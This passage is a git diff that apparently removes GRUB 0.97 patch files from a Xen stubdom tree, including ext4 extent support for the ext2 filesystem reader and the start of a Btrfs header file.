-       || part_length < (SBLOCK + (SBSIZE / DEV_BSIZE))
-       || !devread (SBLOCK, 0, SBSIZE, (char *) SUPERBLOCK)
-diff -urN grub-0.97.orig/stage2/fsys_minix.c grub-0.97/stage2/fsys_minix.c
---- grub-0.97.orig/stage2/fsys_minix.c	2003-07-09 11:45:53.000000000 +0000
-+++ grub-0.97/stage2/fsys_minix.c	2008-09-16 19:32:01.000000000 +0000
-@@ -160,7 +160,7 @@
- int
- minix_mount (void)
- {
--  if (((current_drive & 0x80) || current_slice != 0)
-+  if ((current_slice != 0)
-       && ! IS_PC_SLICE_TYPE_MINIX (current_slice)
-       && ! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_OTHER))
-     return 0;			/* The partition is not of MINIX type */
-diff -urN grub-0.97.orig/stage2/fsys_ufs2.c grub-0.97/stage2/fsys_ufs2.c
---- grub-0.97.orig/stage2/fsys_ufs2.c	2004-06-19 12:17:52.000000000 +0000
-+++ grub-0.97/stage2/fsys_ufs2.c	2008-09-16 19:32:32.000000000 +0000
-@@ -87,7 +87,7 @@
-   sblockloc = -1;
-   type = 0;
-   
--  if (! (((current_drive & 0x80) || (current_slice != 0))
-+  if (! (((current_slice != 0))
- 	 && ! IS_PC_SLICE_TYPE_BSD_WITH_FS (current_slice, FS_BSDFFS)))
-     {
-       for (i = 0; sblock_try[i] != -1; ++i)
-diff -urN grub-0.97.orig/stage2/fsys_vstafs.c grub-0.97/stage2/fsys_vstafs.c
---- grub-0.97.orig/stage2/fsys_vstafs.c	2003-07-09 11:45:53.000000000 +0000
-+++ grub-0.97/stage2/fsys_vstafs.c	2008-09-16 19:32:39.000000000 +0000
-@@ -47,7 +47,7 @@
- {
-   int retval = 1;
-   
--  if( (((current_drive & 0x80) || (current_slice != 0))
-+  if( (((current_slice != 0))
-        && current_slice != PC_SLICE_TYPE_VSTAFS)
-       ||  ! devread (0, 0, BLOCK_SIZE, (char *) FSYS_BUF)
-       ||  FIRST_SECTOR->fs_magic != 0xDEADFACE)
diff --git a/stubdom/grub.patches/60ext4.diff b/stubdom/grub.patches/60ext4.diff
deleted file mode 100644
index c71cfe1c4f..0000000000
--- a/stubdom/grub.patches/60ext4.diff
+++ /dev/null
@@ -1,474 +0,0 @@
-Index: grub-0.97/stage2/fsys_ext2fs.c
-===================================================================
---- grub-0.97.orig/stage2/fsys_ext2fs.c
-+++ grub-0.97/stage2/fsys_ext2fs.c
-@@ -41,6 +41,7 @@ typedef __signed__ short __s16;
- typedef unsigned short __u16;
- typedef __signed__ int __s32;
- typedef unsigned int __u32;
-+typedef unsigned long long __u64;
- 
- /*
-  * Constants relative to the data blocks, from ext2_fs.h
-@@ -51,7 +52,7 @@ typedef unsigned int __u32;
- #define EXT2_TIND_BLOCK                 (EXT2_DIND_BLOCK + 1)
- #define EXT2_N_BLOCKS                   (EXT2_TIND_BLOCK + 1)
- 
--/* include/linux/ext2_fs.h */
-+/* lib/ext2fs/ext2_fs.h from e2fsprogs */
- struct ext2_super_block
-   {
-     __u32 s_inodes_count;	/* Inodes count */
-@@ -61,9 +62,9 @@ struct ext2_super_block
-     __u32 s_free_inodes_count;	/* Free inodes count */
-     __u32 s_first_data_block;	/* First Data Block */
-     __u32 s_log_block_size;	/* Block size */
--    __s32 s_log_frag_size;	/* Fragment size */
-+    __s32 s_obso_log_frag_size;	/* Obsoleted Fragment size */
-     __u32 s_blocks_per_group;	/* # Blocks per group */
--    __u32 s_frags_per_group;	/* # Fragments per group */
-+    __u32 s_obso_frags_per_group;	/* Obsoleted Fragments per group */
-     __u32 s_inodes_per_group;	/* # Inodes per group */
-     __u32 s_mtime;		/* Mount time */
-     __u32 s_wtime;		/* Write time */
-@@ -72,7 +73,7 @@ struct ext2_super_block
-     __u16 s_magic;		/* Magic signature */
-     __u16 s_state;		/* File system state */
-     __u16 s_errors;		/* Behaviour when detecting errors */
--    __u16 s_pad;
-+    __u16 s_minor_rev_level;	/* minor revision level */
-     __u32 s_lastcheck;		/* time of last check */
-     __u32 s_checkinterval;	/* max. time between checks */
-     __u32 s_creator_os;		/* OS */
-@@ -119,15 +120,29 @@ struct ext2_super_block
-     __u32 s_hash_seed[4];	/* HTREE hash seed */
-     __u8  s_def_hash_version;	/* Default hash version to use */
-     __u8  s_jnl_backup_type; 	/* Default type of journal backup */
--    __u16 s_reserved_word_pad;
-+    __u16 s_desc_size;		/* size of group descriptor */
-     __u32 s_default_mount_opts;
-     __u32 s_first_meta_bg;	/* First metablock group */
-     __u32 s_mkfs_time;		/* When the filesystem was created */
-     __u32 s_jnl_blocks[17]; 	/* Backup of the journal inode */
--    __u32 s_reserved[172];	/* Padding to the end of the block */
--  };
-+    /* 64bit desc support valid if EXT4_FEATURE_INCOMPAT_64BIT */
-+    __u32 s_blocks_count_hi;	/* Blocks count */
-+    __u32 s_r_blocks_count_hi;	/* Reserved blocks count */
-+    __u32 s_free_blocks_count_hi; /* Free blocks count */
-+    __u16 s_min_extra_isize;	/* All inodes have at least # bytes */
-+    __u16 s_max_extra_isize;	/* New inodes should reverve # bytes */
-+    __u32 s_flags;		/* Miscellaneous flags */
-+    __u16 s_raid_stride;	/* Raid stride */
-+    __u16 s_mmp_interval;	/* # seconds to wait MMP checking */
-+    __u64 s_mmp_block;		/* Block for multi-mount protection */
-+    __u32 s_raid_stripe_width;	/* Blocks on all data disks (N*stride)*/
-+    __u8  s_log_groups_per_flex;/* FLEX_BG group size*/
-+    __u8  s_reserved_char_pad;
-+    __u16 s_reserved_pad;
-+    __u32 s_reserved[162];	/* Padding to the end of the block */
-+};
- 
--struct ext2_group_desc
-+struct ext4_group_desc
-   {
-     __u32 bg_block_bitmap;	/* Blocks bitmap block */
-     __u32 bg_inode_bitmap;	/* Inodes bitmap block */
-@@ -135,8 +150,18 @@ struct ext2_group_desc
-     __u16 bg_free_blocks_count;	/* Free blocks count */
-     __u16 bg_free_inodes_count;	/* Free inodes count */
-     __u16 bg_used_dirs_count;	/* Directories count */
--    __u16 bg_pad;
--    __u32 bg_reserved[3];
-+    __u16 bg_flags;		/* EXT4_BG_flags (INODE_UNINIT, etc) */
-+    __u32 bg_reserved[2];		/* Likely block/inode bitmap checksum */
-+    __u16 bg_itable_unused;	/* Unused inodes count */
-+    __u16 bg_checksum;		/* crc16(sb_uuid+group+desc) */
-+    __u32 bg_block_bitmap_hi;	/* Blocks bitmap block MSB */
-+    __u32 bg_inode_bitmap_hi;	/* Inodes bitmap block MSB */
-+    __u32 bg_inode_table_hi;	/* Inodes table block MSB */
-+    __u16 bg_free_blocks_count_hi;/* Free blocks count MSB */
-+    __u16 bg_free_inodes_count_hi;/* Free inodes count MSB */
-+    __u16 bg_used_dirs_count_hi;	/* Directories count MSB */
-+    __u16 bg_itable_unused_hi;	/* Unused inodes count MSB */
-+    __u32 bg_reserved2[3];
-   };
- 
- struct ext2_inode
-@@ -174,22 +199,22 @@ struct ext2_inode
-     __u32 i_block[EXT2_N_BLOCKS];	/* 40: Pointers to blocks */
-     __u32 i_version;		/* File version (for NFS) */
-     __u32 i_file_acl;		/* File ACL */
--    __u32 i_dir_acl;		/* Directory ACL */
--    __u32 i_faddr;		/* Fragment address */
-+    __u32 i_size_high;
-+    __u32 i_obso_faddr;		/* Obsoleted fragment address */
-     union
-       {
- 	struct
- 	  {
--	    __u8 l_i_frag;	/* Fragment number */
--	    __u8 l_i_fsize;	/* Fragment size */
--	    __u16 i_pad1;
--	    __u32 l_i_reserved2[2];
-+		__u16	l_i_blocks_high; /* were l_i_reserved1 */
-+		__u16	l_i_file_acl_high;
-+		__u16	l_i_uid_high;	/* these 2 fields */
-+		__u16	l_i_gid_high;	/* were reserved2[0] */
-+		__u32	l_i_reserved2;
- 	  }
- 	linux2;
- 	struct
- 	  {
--	    __u8 h_i_frag;	/* Fragment number */
--	    __u8 h_i_fsize;	/* Fragment size */
-+		__u16	h_i_reserved1;	/* Obsoleted fragment number/size which are removed in ext4 */
- 	    __u16 h_i_mode_high;
- 	    __u16 h_i_uid_high;
- 	    __u16 h_i_gid_high;
-@@ -198,16 +223,36 @@ struct ext2_inode
- 	hurd2;
- 	struct
- 	  {
--	    __u8 m_i_frag;	/* Fragment number */
--	    __u8 m_i_fsize;	/* Fragment size */
--	    __u16 m_pad1;
-+		__u16	h_i_reserved1;	/* Obsoleted fragment number/size which are removed in ext4 */
-+		__u16	m_i_file_acl_high;
- 	    __u32 m_i_reserved2[2];
- 	  }
- 	masix2;
-       }
-     osd2;			/* OS dependent 2 */
-+	__u16	i_extra_isize;
-+	__u16	i_pad1;
-+	__u32  i_ctime_extra;  /* extra Change time      (nsec << 2 | epoch) */
-+	__u32  i_mtime_extra;  /* extra Modification time(nsec << 2 | epoch) */
-+	__u32  i_atime_extra;  /* extra Access time      (nsec << 2 | epoch) */
-+	__u32  i_crtime;       /* File Creation time */
-+	__u32  i_crtime_extra; /* extra FileCreationtime (nsec << 2 | epoch) */
-+	__u32  i_version_hi;	/* high 32 bits for 64-bit version */
-   };
- 
-+#define EXT4_FEATURE_INCOMPAT_EXTENTS		0x0040 /* extents support */
-+#define EXT4_FEATURE_INCOMPAT_64BIT			0x0080 /* grub not supported*/
-+#define EXT4_FEATURE_INCOMPAT_MMP           0x0100
-+#define EXT4_FEATURE_INCOMPAT_FLEX_BG		0x0200
-+
-+#define EXT4_HAS_INCOMPAT_FEATURE(sb,mask)			\
-+	( sb->s_feature_incompat & mask )
-+
-+#define EXT4_EXTENTS_FL		0x00080000 /* Inode uses extents */
-+#define EXT4_HUGE_FILE_FL	0x00040000 /* Set to each huge file */
-+
-+#define EXT4_MIN_DESC_SIZE			32
-+
- /* linux/limits.h */
- #define NAME_MAX         255	/* # chars in a file name */
- 
-@@ -225,6 +270,57 @@ struct ext2_dir_entry
-     char name[EXT2_NAME_LEN];	/* File name */
-   };
- 
-+/* linux/ext4_fs_extents.h */
-+/* This is the extent on-disk structure.
-+ * It's used at the bottom of the tree.
-+ */
-+struct ext4_extent
-+  {
-+	__u32  ee_block;   /* first logical block extent covers */
-+	__u16  ee_len;     /* number of blocks covered by extent */
-+	__u16  ee_start_hi;    /* high 16 bits of physical block */
-+	__u32  ee_start_lo;    /* low 32 bits of physical block */
-+  };
-+
-+/*
-+ * This is index on-disk structure.
-+ * It's used at all the levels except the bottom.
-+ */
-+struct ext4_extent_idx
-+  {
-+    __u32  ei_block;   /* index covers logical blocks from 'block' */
-+    __u32  ei_leaf_lo; /* pointer to the physical block of the next *
-+	                     * level. leaf or next index could be there */
-+    __u16  ei_leaf_hi; /* high 16 bits of physical block */
-+    __u16  ei_unused;
-+  };
-+
-+/*
-+ * Each block (leaves and indexes), even inode-stored has header.
-+ */
-+struct ext4_extent_header
-+  {
-+    __u16  eh_magic;   /* probably will support different formats */
-+    __u16  eh_entries; /* number of valid entries */
-+    __u16  eh_max;     /* capacity of store in entries */
-+    __u16  eh_depth;   /* has tree real underlying blocks? */
-+    __u32  eh_generation;  /* generation of the tree */
-+  };
-+
-+#define EXT4_EXT_MAGIC      (0xf30a)
-+#define EXT_FIRST_EXTENT(__hdr__) \
-+    ((struct ext4_extent *) (((char *) (__hdr__)) +     \
-+                 sizeof(struct ext4_extent_header)))
-+#define EXT_FIRST_INDEX(__hdr__) \
-+    ((struct ext4_extent_idx *) (((char *) (__hdr__)) + \
-+                 sizeof(struct ext4_extent_header)))
-+#define EXT_LAST_EXTENT(__hdr__) \
-+    (EXT_FIRST_EXTENT((__hdr__)) + (__u16)((__hdr__)->eh_entries) - 1)
-+#define EXT_LAST_INDEX(__hdr__) \
-+    (EXT_FIRST_INDEX((__hdr__)) + (__u16)((__hdr__)->eh_entries) - 1)
-+
-+
-+
- /* linux/ext2fs.h */
- /*
-  * EXT2_DIR_PAD defines the directory entries boundaries
-@@ -271,8 +367,17 @@ struct ext2_dir_entry
- /* kind of from ext2/super.c */
- #define EXT2_BLOCK_SIZE(s)	(1 << EXT2_BLOCK_SIZE_BITS(s))
- /* linux/ext2fs.h */
-+/* sizeof(struct ext2_group_desc) is changed in ext4
-+ * in kernel code, ext2/3 uses sizeof(struct ext2_group_desc) to calculate
-+ * number of desc per block, while ext4 uses superblock->s_desc_size in stead
-+ * superblock->s_desc_size is not available in ext2/3
-+ * */
-+#define EXT2_DESC_SIZE(s) \
-+	(EXT4_HAS_INCOMPAT_FEATURE(s,EXT4_FEATURE_INCOMPAT_64BIT)? \
-+	s->s_desc_size : EXT4_MIN_DESC_SIZE)
- #define EXT2_DESC_PER_BLOCK(s) \
--     (EXT2_BLOCK_SIZE(s) / sizeof (struct ext2_group_desc))
-+	(EXT2_BLOCK_SIZE(s) / EXT2_DESC_SIZE(s))
-+
- /* linux/stat.h */
- #define S_IFMT  00170000
- #define S_IFLNK  0120000
-@@ -434,6 +539,122 @@ ext2fs_block_map (int logical_block)
-     [logical_block & (EXT2_ADDR_PER_BLOCK (SUPERBLOCK) - 1)];
- }
- 
-+/* extent binary search index
-+ * find closest index in the current level extent tree
-+ * kind of from ext4_ext_binsearch_idx in ext4/extents.c
-+ */
-+static struct ext4_extent_idx*
-+ext4_ext_binsearch_idx(struct ext4_extent_header* eh, int logical_block)
-+{
-+  struct ext4_extent_idx *r, *l, *m;
-+  l = EXT_FIRST_INDEX(eh) + 1;
-+  r = EXT_LAST_INDEX(eh);
-+  while (l <= r)
-+    {
-+	  m = l + (r - l) / 2;
-+	  if (logical_block < m->ei_block)
-+		  r = m - 1;
-+	  else
-+		  l = m + 1;
-+	}
-+  return (struct ext4_extent_idx*)(l - 1);
-+}
-+
-+/* extent binary search
-+ * find closest extent in the leaf level
-+ * kind of from ext4_ext_binsearch in ext4/extents.c
-+ */
-+static struct ext4_extent*
-+ext4_ext_binsearch(struct ext4_extent_header* eh, int logical_block)
-+{
-+  struct ext4_extent *r, *l, *m;
-+  l = EXT_FIRST_EXTENT(eh) + 1;
-+  r = EXT_LAST_EXTENT(eh);
-+  while (l <= r)
-+    {
-+	  m = l + (r - l) / 2;
-+	  if (logical_block < m->ee_block)
-+		  r = m - 1;
-+	  else
-+		  l = m + 1;
-+	}
-+  return (struct ext4_extent*)(l - 1);
-+}
-+
-+/* Maps extents enabled logical block into physical block via an inode.
-+ * EXT4_HUGE_FILE_FL should be checked before calling this.
-+ */
-+static int
-+ext4fs_block_map (int logical_block)
-+{
-+  struct ext4_extent_header *eh;
-+  struct ext4_extent *ex, *extent;
-+  struct ext4_extent_idx *ei, *index;
-+  int depth;
-+  int i;
-+
-+#ifdef E2DEBUG
-+  unsigned char *i;
-+  for (i = (unsigned char *) INODE;
-+       i < ((unsigned char *) INODE + sizeof (struct ext2_inode));
-+       i++)
-+    {
-+      printf ("%c", "0123456789abcdef"[*i >> 4]);
-+      printf ("%c", "0123456789abcdef"[*i % 16]);
-+      if (!((i + 1 - (unsigned char *) INODE) % 16))
-+	{
-+	  printf ("\n");
-+	}
-+      else
-+	{
-+	  printf (" ");
-+	}
-+    }
-+  printf ("logical block %d\n", logical_block);
-+#endif /* E2DEBUG */
-+  eh = (struct ext4_extent_header*)INODE->i_block;
-+  if (eh->eh_magic != EXT4_EXT_MAGIC)
-+  {
-+          errnum = ERR_FSYS_CORRUPT;
-+          return -1;
-+  }
-+  while((depth = eh->eh_depth) != 0)
-+  	{ /* extent index */
-+	  if (eh->eh_magic != EXT4_EXT_MAGIC)
-+	  {
-+	          errnum = ERR_FSYS_CORRUPT;
-+		  return -1;
-+	  }
-+	  ei = ext4_ext_binsearch_idx(eh, logical_block);
-+	  if (ei->ei_leaf_hi)
-+	{/* 64bit physical block number not supported */
-+	  errnum = ERR_FILELENGTH;
-+	  return -1;
-+	}
-+	  if (!ext2_rdfsb(ei->ei_leaf_lo, DATABLOCK1))
-+	{
-+	  errnum = ERR_FSYS_CORRUPT;
-+	  return -1;
-+	}
-+	  eh = (struct ext4_extent_header*)DATABLOCK1;
-+  	}
-+
-+  /* depth==0, we come to the leaf */
-+  ex = ext4_ext_binsearch(eh, logical_block);
-+  if (ex->ee_start_hi)
-+	{/* 64bit physical block number not supported */
-+	  errnum = ERR_FILELENGTH;
-+	  return -1;
-+	}
-+  if ((ex->ee_block + ex->ee_len) < logical_block)
-+	{
-+	  errnum = ERR_FSYS_CORRUPT;
-+	  return -1;
-+	}
-+  return ex->ee_start_lo + logical_block - ex->ee_block;
-+
-+}
-+
- /* preconditions: all preconds of ext2fs_block_map */
- int
- ext2fs_read (char *buf, int len)
-@@ -468,6 +689,11 @@ ext2fs_read (char *buf, int len)
-       /* find the (logical) block component of our location */
-       logical_block = filepos >> EXT2_BLOCK_SIZE_BITS (SUPERBLOCK);
-       offset = filepos & (EXT2_BLOCK_SIZE (SUPERBLOCK) - 1);
-+      /* map extents enabled logical block number to physical fs on-disk block number */
-+      if (EXT4_HAS_INCOMPAT_FEATURE(SUPERBLOCK,EXT4_FEATURE_INCOMPAT_EXTENTS)
-+                    && INODE->i_flags & EXT4_EXTENTS_FL)
-+          map = ext4fs_block_map (logical_block);
-+      else
-       map = ext2fs_block_map (logical_block);
- #ifdef E2DEBUG
-       printf ("map=%d\n", map);
-@@ -552,7 +778,7 @@ ext2fs_dir (char *dirname)
-   int desc;			/* index within that group */
-   int ino_blk;			/* fs pointer of the inode's information */
-   int str_chk = 0;		/* used to hold the results of a string compare */
--  struct ext2_group_desc *gdp;
-+  struct ext4_group_desc *ext4_gdp;
-   struct ext2_inode *raw_inode;	/* inode info corresponding to current_ino */
- 
-   char linkbuf[PATH_MAX];	/* buffer for following symbolic links */
-@@ -598,8 +824,15 @@ ext2fs_dir (char *dirname)
- 	{
- 	  return 0;
- 	}
--      gdp = GROUP_DESC;
--      ino_blk = gdp[desc].bg_inode_table +
-+	  ext4_gdp = (struct ext4_group_desc *)( (__u8*)GROUP_DESC +
-+			  		desc * EXT2_DESC_SIZE(SUPERBLOCK));
-+	  if (EXT4_HAS_INCOMPAT_FEATURE(SUPERBLOCK, EXT4_FEATURE_INCOMPAT_64BIT)
-+		&& (! ext4_gdp->bg_inode_table_hi))
-+	{/* 64bit itable not supported */
-+	  errnum = ERR_FILELENGTH;
-+	  return -1;
-+	}
-+      ino_blk = ext4_gdp->bg_inode_table +
- 	(((current_ino - 1) % (SUPERBLOCK->s_inodes_per_group))
- 	 >> log2 (EXT2_INODES_PER_BLOCK (SUPERBLOCK)));
- #ifdef E2DEBUG
-@@ -676,7 +909,10 @@ ext2fs_dir (char *dirname)
- 	    }
- 	  linkbuf[filemax + len] = '\0';
- 
--	  /* Read the symlink data. */
-+	  /* Read the symlink data.
-+	   * Slow symlink is extents enabled
-+	   * But since grub_read invokes ext2fs_read, nothing to change here
-+	   */
- 	  if (! ext2_is_fast_symlink ())
- 	    {
- 	      /* Read the necessary blocks, and reset the file pointer. */
-@@ -687,7 +923,9 @@ ext2fs_dir (char *dirname)
- 	    }
- 	  else
- 	    {
--	      /* Copy the data directly from the inode. */
-+	      /* Copy the data directly from the inode.
-+	       * Fast symlink is not extents enabled
-+	       */
- 	      len = filemax;
- 	      memmove (linkbuf, (char *) INODE->i_block, len);
- 	    }
-@@ -721,6 +959,13 @@ ext2fs_dir (char *dirname)
- 	      errnum = ERR_BAD_FILETYPE;
- 	      return 0;
- 	    }
-+	  /* if file is too large, just stop and report an error*/
-+	  if ( (INODE->i_flags & EXT4_HUGE_FILE_FL) && !(INODE->i_size_high))
-+	    {
-+		  /* file too large, stop reading */
-+		  errnum = ERR_FILELENGTH;
-+		  return 0;
-+	    }
- 
- 	  filemax = (INODE->i_size);
- 	  return 1;
-@@ -775,17 +1020,28 @@ ext2fs_dir (char *dirname)
- 	    }
- 
- 	  /* else, find the (logical) block component of our location */
-+	  /* ext4 logical block number the same as ext2/3 */
- 	  blk = loc >> EXT2_BLOCK_SIZE_BITS (SUPERBLOCK);
- 
- 	  /* we know which logical block of the directory entry we are looking
- 	     for, now we have to translate that to the physical (fs) block on
- 	     the disk */
-+	  /* map extents enabled logical block number to physical fs on-disk block number */
-+	  if (EXT4_HAS_INCOMPAT_FEATURE(SUPERBLOCK,EXT4_FEATURE_INCOMPAT_EXTENTS)
-+                        && INODE->i_flags & EXT4_EXTENTS_FL)
-+              map = ext4fs_block_map (blk);
-+	  else
- 	  map = ext2fs_block_map (blk);
- #ifdef E2DEBUG
- 	  printf ("fs block=%d\n", map);
- #endif /* E2DEBUG */
- 	  mapblock2 = -1;
--	  if ((map < 0) || !ext2_rdfsb (map, DATABLOCK2))
-+	  if (map < 0)
-+	  {
-+	      *rest = ch;
-+	      return 0;
-+	  }
-+          if (!ext2_rdfsb (map, DATABLOCK2))
- 	    {
- 	      errnum = ERR_FSYS_CORRUPT;
- 	      *rest = ch;
diff --git a/stubdom/grub.patches/61btrfs.diff b/stubdom/grub.patches/61btrfs.diff
deleted file mode 100644
index ae8f866e50..0000000000
--- a/stubdom/grub.patches/61btrfs.diff
+++ /dev/null
@@ -1,3499 +0,0 @@
-diff -up grub-upstream.wip/AUTHORS.btrfs grub-upstream.wip/AUTHORS
---- grub-upstream.wip/AUTHORS.btrfs	2004-03-27 16:25:17.000000000 +0000
-+++ grub-upstream.wip/AUTHORS	2012-03-20 05:07:09.000000000 +0000
-@@ -41,6 +41,8 @@ Kristoffer Branemyr added VSTa filesyste
- 
- Serguei Tzukanov added JFS and XFS support.
- 
-+Edward Shishkin added Btrfs support.
-+
- Jason Thomas added Linux DAC960 support and support for hiding/unhiding
- logical partitions, and did a significant bugfix for the terminal stuff.
- 
-diff -up grub-upstream.wip/configure.ac.btrfs grub-upstream.wip/configure.ac
---- grub-upstream.wip/configure.ac.btrfs	2012-03-20 05:06:49.000000000 +0000
-+++ grub-upstream.wip/configure.ac	2012-03-20 05:07:09.000000000 +0000
-@@ -274,6 +274,13 @@ if test x"$enable_reiserfs" != xno; then
-   FSYS_CFLAGS="$FSYS_CFLAGS -DFSYS_REISERFS=1"
- fi
- 
-+AC_ARG_ENABLE(btrfs,
-+  [  --disable-btrfs         disable BtrFS support in Stage 2])
-+
-+if test x"$enable_btrfs" != xno; then
-+  FSYS_CFLAGS="$FSYS_CFLAGS -DFSYS_BTRFS=1"
-+fi
-+
- AC_ARG_ENABLE(vstafs,
-   [  --disable-vstafs        disable VSTa FS support in Stage 2])
- 
-diff -up grub-upstream.wip/grub/Makefile.am.btrfs grub-upstream.wip/grub/Makefile.am
---- grub-upstream.wip/grub/Makefile.am.btrfs	2005-02-02 20:38:19.000000000 +0000
-+++ grub-upstream.wip/grub/Makefile.am	2012-03-20 05:07:09.000000000 +0000
-@@ -8,7 +8,7 @@ endif
- 
- AM_CPPFLAGS = -DGRUB_UTIL=1 -DFSYS_EXT2FS=1 -DFSYS_FAT=1 -DFSYS_FFS=1 \
- 	-DFSYS_ISO9660=1 -DFSYS_JFS=1 -DFSYS_MINIX=1 -DFSYS_REISERFS=1 \
--	-DFSYS_UFS2=1 -DFSYS_VSTAFS=1 -DFSYS_XFS=1 \
-+	-DFSYS_BTRFS=1 -DFSYS_UFS2=1 -DFSYS_VSTAFS=1 -DFSYS_XFS=1 \
- 	-DUSE_MD5_PASSWORDS=1 -DSUPPORT_HERCULES=1 \
- 	$(SERIAL_FLAGS) -I$(top_srcdir)/stage2 \
- 	-I$(top_srcdir)/stage1 -I$(top_srcdir)/lib
-diff -up grub-upstream.wip/INSTALL.btrfs grub-upstream.wip/INSTALL
---- grub-upstream.wip/INSTALL.btrfs	2005-05-08 02:43:15.000000000 +0000
-+++ grub-upstream.wip/INSTALL	2012-03-20 05:07:09.000000000 +0000
-@@ -207,6 +207,9 @@ operates.
- `--disable-reiserfs'
-      Omit the ReiserFS support in Stage 2.
- 
-+`--disable-btrfs'
-+     Omit the BtrFS support in Stage 2.
-+
- `--disable-vstafs'
-      Omit the VSTa filesystem support in Stage 2.
- 
-diff -up /dev/null grub-upstream.wip/stage2/btrfs.h
---- /dev/null	2009-06-03 06:46:26.160951000 +0000
-+++ grub-upstream.wip/stage2/btrfs.h	2012-03-20 05:07:09.000000000 +0000
-@@ -0,0 +1,1413 @@
-+/* btrfs.h - an extraction from btrfs-progs-0.18/ctree.h into one file
-+ *
-+ * Copyright (C) 2007 Oracle.  All rights reserved.
-+ *
-+ * This program is free software; you can redistribute it and/or
-+ * modify it under the terms of the GNU General Public
-+ * License v2 as published by the Free Software Foundation.
-+ *
-+ * This program is distributed in the hope that it will be useful,
-+ * but WITHOUT ANY WARRANTY; without even the implied warranty of
-+ * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU
-+ * General Public License for more details.
-+ *
-+ * You should have received a copy of the GNU General Public
-+ * License along with this program; If not, see <http://www.gnu.org/licenses/>
-+ */
-+
-+/* include/asm-i386/types.h */
-+
-+typedef __signed__ char __s8;
-+typedef unsigned char __u8;
-+typedef __signed__ short __s16;
-+typedef unsigned short __u16;
-+typedef __signed__ int __s32;
-+typedef unsigned int __u32;
-+typedef unsigned long long __u64;
-+typedef __signed__ long long __s64;
-+
-+typedef __s8 s8;
-+typedef __u8 u8;
-+typedef __u16 u16;
-+typedef __u32 u32;
-+typedef __u64 u64;
-+typedef __s64 s64;
-+
-+#define __bitwise
-+
-+typedef u16 __bitwise __le16;
-+typedef u32 __bitwise __le32;
-+typedef u64 __bitwise __le64;
-+
-+/* linux/posix_type.h */
-+typedef long linux_off_t;
-+
-+/* linux/little_endian.h */
-+#define cpu_to_le64(x) ((__u64) (x))
-+#define le64_to_cpu(x) ((__u64) (x))
-+#define cpu_to_le32(x) ((__u32) (x))
-+#define le32_to_cpu(x) ((__u32) (x))
-+#define cpu_to_le16(x) ((__u16) (x))
-+#define le16_to_cpu(x) ((__u16) (x))
-+#define le8_to_cpu(x) ((__u8) (x))
-+#define cpu_to_le8(x) ((__u8) (x))
-+
-+/* linux/stat.h */
-+#define S_IFMT  00170000
-+#define S_IFLNK  0120000
-+#define S_IFREG  0100000
-+#define S_IFDIR  0040000
-+#define S_ISLNK(m)     (((m) & S_IFMT) == S_IFLNK)
-+#define S_ISREG(m)      (((m) & S_IFMT) == S_IFREG)
-+#define S_ISDIR(m)      (((m) & S_IFMT) == S_IFDIR)
-+
-+struct btrfs_root;
-+#define BTRFS_MAGIC "_BHRfS_M"
-+
-+#define BTRFS_SUPER_INFO_OFFSET (64 * 1024)
-+#define BTRFS_SUPER_INFO_SIZE 4096
-+
-+#define BTRFS_SUPER_MIRROR_MAX  3
-+#define BTRFS_SUPER_MIRROR_SHIFT 12
-+
-+#define PATH_MAX                1024   /* include/linux/limits.h */
-+#define MAX_LINK_COUNT             5   /* number of symbolic links
-+                                          to follow */
-+#define BTRFS_MAX_LEVEL 8
-+#define BTRFS_ROOT_TREE_OBJECTID 1ULL
-+#define BTRFS_EXTENT_TREE_OBJECTID 2ULL
-+#define BTRFS_CHUNK_TREE_OBJECTID 3ULL
-+#define BTRFS_DEV_TREE_OBJECTID 4ULL
-+#define BTRFS_FS_TREE_OBJECTID 5ULL
-+#define BTRFS_ROOT_TREE_DIR_OBJECTID 6ULL
-+#define BTRFS_CSUM_TREE_OBJECTID 7ULL
-+
-+#define BTRFS_ORPHAN_OBJECTID -5ULL
-+#define BTRFS_TREE_LOG_OBJECTID -6ULL
-+#define BTRFS_TREE_LOG_FIXUP_OBJECTID -7ULL
-+#define BTRFS_TREE_RELOC_OBJECTID -8ULL
-+#define BTRFS_DATA_RELOC_TREE_OBJECTID -9ULL
-+#define BTRFS_EXTENT_CSUM_OBJECTID -10ULL
-+
-+#define BTRFS_MULTIPLE_OBJECTIDS -255ULL
-+#define BTRFS_FIRST_FREE_OBJECTID 256ULL
-+#define BTRFS_LAST_FREE_OBJECTID -256ULL
-+#define BTRFS_FIRST_CHUNK_TREE_OBJECTID 256ULL
-+#define BTRFS_DEV_ITEMS_OBJECTID 1ULL
-+
-+
-+#define BTRFS_NAME_LEN 255
-+#define BTRFS_CSUM_SIZE 32
-+#define BTRFS_CSUM_TYPE_CRC32  0
-+
-+static int btrfs_csum_sizes[] = { 4, 0 };
-+
-+/* four bytes for CRC32 */
-+#define BTRFS_CRC32_SIZE 4
-+#define BTRFS_EMPTY_DIR_SIZE 0
-+
-+#define BTRFS_FT_UNKNOWN       0
-+#define BTRFS_FT_REG_FILE      1
-+#define BTRFS_FT_DIR           2
-+#define BTRFS_FT_CHRDEV                3
-+#define BTRFS_FT_BLKDEV                4
-+#define BTRFS_FT_FIFO          5
-+#define BTRFS_FT_SOCK          6
-+#define BTRFS_FT_SYMLINK       7
-+#define BTRFS_FT_XATTR         8
-+#define BTRFS_FT_MAX           9
-+
-+#define BTRFS_UUID_SIZE 16
-+
-+#define BTRFS_DEFAULT_NUM_DEVICES     1
-+#define BTRFS_DEFAULT_NODE_SIZE       4096
-+#define BTRFS_DEFAULT_LEAF_SIZE       4096
-+#define BTRFS_NUM_CACHED_DEVICES      128
-+
-+#define WARN_ON(c)
-+#define cassert(cond) ({ switch (-1) { case (cond): case 0: break; } })
-+#define ARRAY_SIZE(x) (sizeof(x) / sizeof((x)[0]))
-+
-+#define offsetof(type, memb) \
-+       ((unsigned long)(&((type *)0)->memb))
-+
-+struct btrfs_disk_key {
-+       __le64 objectid;
-+       u8 type;
-+       __le64 offset;
-+} __attribute__ ((__packed__));
-+
-+/* cpu key */
-+struct btrfs_key {
-+       u64 objectid;
-+       u8 type;
-+       u64 offset;
-+} __attribute__ ((__packed__));
-+
-+/* this represents a divice in a chunk tree */
-+struct btrfs_dev_item {
-+       __le64 devid; /* internal device id */
-+       __le64 total_bytes; /* size of the device */
-+       __le64 bytes_used;
-+       __le32 io_align; /* optimal io alignment */
-+       __le32 io_width; /* optimal io width */
-+       __le32 sector_size; /* minimal io size */
-+       __le64 type; /* type and info about this device */
-+       __le64 generation; /* expected generation */
